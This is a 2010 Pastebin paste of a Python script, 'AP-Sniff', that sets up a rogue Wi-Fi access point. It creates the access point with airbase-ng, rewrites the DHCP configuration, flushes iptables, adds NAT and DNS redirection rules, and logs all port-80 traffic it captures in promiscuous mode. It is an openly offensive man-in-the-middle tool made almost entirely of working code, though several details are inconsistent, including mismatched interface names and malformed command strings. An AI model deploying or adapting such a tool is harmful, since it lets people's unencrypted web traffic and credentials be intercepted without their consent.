Advertisement
Guest User

AP-Sniff

a guest
Dec 26th, 2010
304
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.91 KB | None | 0 0
  1. #############################################################################
  2.  
  3. #   Automatically create a fake access point and the next           #
  4.  
  5. #   sniffing on the AP specially created                    #
  6.  
  7. #   Copyright (C) 2010  by Andrea Possemato                 #
  8.  
  9. #   <andrea.possemato@gmail.com                     #
  10.  
  11. #                                       #
  12.  
  13. #    This program is free software: you can redistribute it and/or modify   #
  14.  
  15. #    it under the terms of the GNU General Public License as published by   #
  16.  
  17. #    the Free Software Foundation, either version 3 of the License, or      #
  18.  
  19. #    (at your option) any later version.                    #
  20.  
  21. #                                       #
  22.  
  23. #    This program is distributed in the hope that it will be useful,        #
  24.  
  25. #    but WITHOUT ANY WARRANTY; without even the implied warranty of         #
  26.  
  27. #    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the          #
  28.  
  29. #    GNU General Public License for more details.                           #
  30.  
  31. #                                       #
  32.  
  33. #    You should have received a copy of the GNU General Public License      #
  34.  
  35. #    along with this program.  If not, see <http://www.gnu.org/licenses/>.  #
  36.  
  37. #    This script will create a fake access point and then make a            #
  38.  
  39. #    packet-sniffing on it.                                                 #
  40.  
  41. #    To run this scirpt you must have these software installed on your PC:  #
  42.  
  43. #                                       #
  44.  
  45. #   1) airbase-ng                               #
  46.  
  47. #   2) airmon-ng                                #
  48.  
  49. #############################################################################
  50.  
  51.  
  52.  
  53. import os
  54.  
  55. import pcapy
  56.  
  57. from impacket.ImpactDecoder import *
  58.  
  59.  
  60.  
  61. channel_name = raw_input('Inserisci il nome del canale:')
  62.  
  63. channel_number = raw_input('Inserisci il numero del canale:')
  64.  
  65.  
  66.  
  67. dnsfile = open('/etc/dhcp3/dhcpd.conf','w')
  68.  
  69. dnsfile.write('ddns-update-style ad-hoc;\n')
  70.  
  71. dnsfile.write('default-lease-time 600;\n')
  72.  
  73. dnsfile.write('max-lease-time 7200;\n')
  74.  
  75. dnsfile.write('subnet 192.168.2.128 netmask 255.255.255.128 {\n')
  76.  
  77. dnsfile.write('option subnet-mask 255.255.255.128;\n')
  78.  
  79. dnsfile.write('option broadcast-address 192.168.2.255;\n')
  80.  
  81. dnsfile.write('option routers 192.168.2.129;\n')
  82.  
  83. dnsfile.write('option domain-name-servers 4.2.2.2;\n')
  84.  
  85. dnsfile.write('range 192.168.2.130 192.168.2.140;}\n')
  86.  
  87. dnsfile.close()
  88.  
  89.  
  90.  
  91. cmd_airbase = "airbase-ng -e"+channel_name+" -c"+channel_number+" mon0"
  92.  
  93. airmon_start = os.popen('airmon-ng')
  94.  
  95. airmon_start = os.popen('airmon-ng start wlan0')
  96.  
  97. airbase = os.popen(cmd_airbase)
  98.  
  99. airbase = os.popen(cmd_airbase)
  100.  
  101.  
  102.  
  103. ifconfig = os.popen('ifconfig ath0 up')
  104.  
  105. ifconfig = os.popen('ifconfig ath0 192.168.2.129 netmask 255.255.255.128')
  106.  
  107. ifconfig = os.popen('route add -net 192.168.2.128 netmask 255.255.255.128 gw 192.168.2.129')
  108.  
  109.  
  110.  
  111. dhcp_start = os.popen('mkdir -p /var/run/dhcpd')
  112.  
  113. dhcp_start = os.popen('dhcpd3 -cf /etc/dhcp3/dhcpd.conf -pf /var/run/dhcpd/dhcpd.pid at0')
  114.  
  115.  
  116.  
  117. iptables = os.popen('iptables --flush')
  118.  
  119. iptables = os.popen('iptables --table nat --flush')
  120.  
  121. iptables = os.popen('iptables --delete-chain')
  122.  
  123. iptables = os.popen('iptables --table nat --delete-chain')
  124.  
  125. iptables = os.popen('echo 1 > /proc/sys/net/ipv4/ip_forward')
  126.  
  127. iptables = os.popen('iptables --table nat --append POSTROUTING --out-interface wlan1 -j MASQUERADE')
  128.  
  129. iptables = os.popen('iptables --append FORWARD --in-interface at0 -j ACCEPT')
  130.  
  131. iptables = os.popen('iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to 192.168.1.1')
  132.  
  133.  
  134.  
  135.  
  136.  
  137. print('Access Point creato\n')
  138.  
  139. print('Sniffing in esecuzione: salvataggio pacchetti in log.dat\n')
  140.  
  141.  
  142.  
  143. logfile = open('log.dat','w')
  144.  
  145. def recieved_packet(hdr, data):
  146.  
  147.     packet = EthDecoder().decode(data)
  148.  
  149.     print >> logfile, packet
  150.  
  151. interface = 'wlan0'
  152.  
  153. packet_buffer = 1024
  154.  
  155. pm = True
  156.  
  157. end_time = -1
  158.  
  159. snif_packet = pcapy.open_live(interface, packet_buffer, pm, end_time)
  160.  
  161. snif_packet.setfilter('port 80')
  162.  
  163. packet_limit = -1
  164.  
  165. snif_packet.loop(packet_limit, recieved_packet)
  166.  
  167. logfile.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement